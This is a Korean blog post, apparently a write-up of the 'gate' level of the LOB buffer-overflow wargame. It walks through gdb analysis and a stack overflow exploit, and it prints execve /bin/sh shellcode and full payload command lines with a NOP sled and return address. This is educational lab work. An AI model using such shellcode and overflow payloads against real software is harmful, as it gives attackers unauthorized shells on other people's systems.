lob

gate

oogu ㅣ 2022. 11. 13. 13:10

[그림 1-1]

 

[그림 1-2]

인자값이 없으면 "argv error" 문자열이 뜨고 종료되는거 같다.

[그림 1-3]

인자값을 주고 실행하면 인자값을 출력해준다.

tmp로 파일을 옮기고 gdb로 분석해보자

[그림 1-4]

intel 방식으로 바꾸고 분석 ㄱㄱ

[그림 1-5]

[그림 1-4]를 보고 [그림 1-5] 그릴 수 있다.

따라서 buf에 shellcode와 dummy 값을 넣고 ret 값에 shellcode 위치를 넣으면 shell이 실행될 것이다.

 

payload = "A"*235 + shellcode(25byte) + shellcode 주소

 

payload 완성시키기 위해 buf 변수 위치를 찾아야한다.

 

payload 넣고 확인결과 0xbffff918 주소에 payload가 처음 들어간것을 알 수 있다. 따라서 buf 위치는 0xbffff918 이다.

 

payload = "A"*235 + shellcode(25byte) + shellcode주소(0xbffff918)

 

[그림 1-6]

./attackme `python -c 'print("A"*235 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*135+"\x18\xf9\xff\xbf")'`

 

Segmentation fault가 뜬다.. 음.. 찾아보니 shellcode가 깨질 수 있기 때문에 nop 사이에 shellcode를 넣는 방벙이 있어 시도해 보았다,

[그림 1-7]

./attackme `python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*135+"\x18\xf9\xff\xbf")'`

위 페이로드를 넣으면 성공한다. 

아마 처음 "A" 로 dummy를 채웠을 경우 shellcode가 깨질 수 있기 때문에 nop를 넣는거 같다.(이게 맞는지 모르겟다..)

'lob' 카테고리의 다른 글

wolfman  (0) 2022.12.09
orc  (0) 2022.12.09
goblin  (0) 2022.12.09
cobolt  (0) 2022.11.15
gremlin  (0) 2022.11.13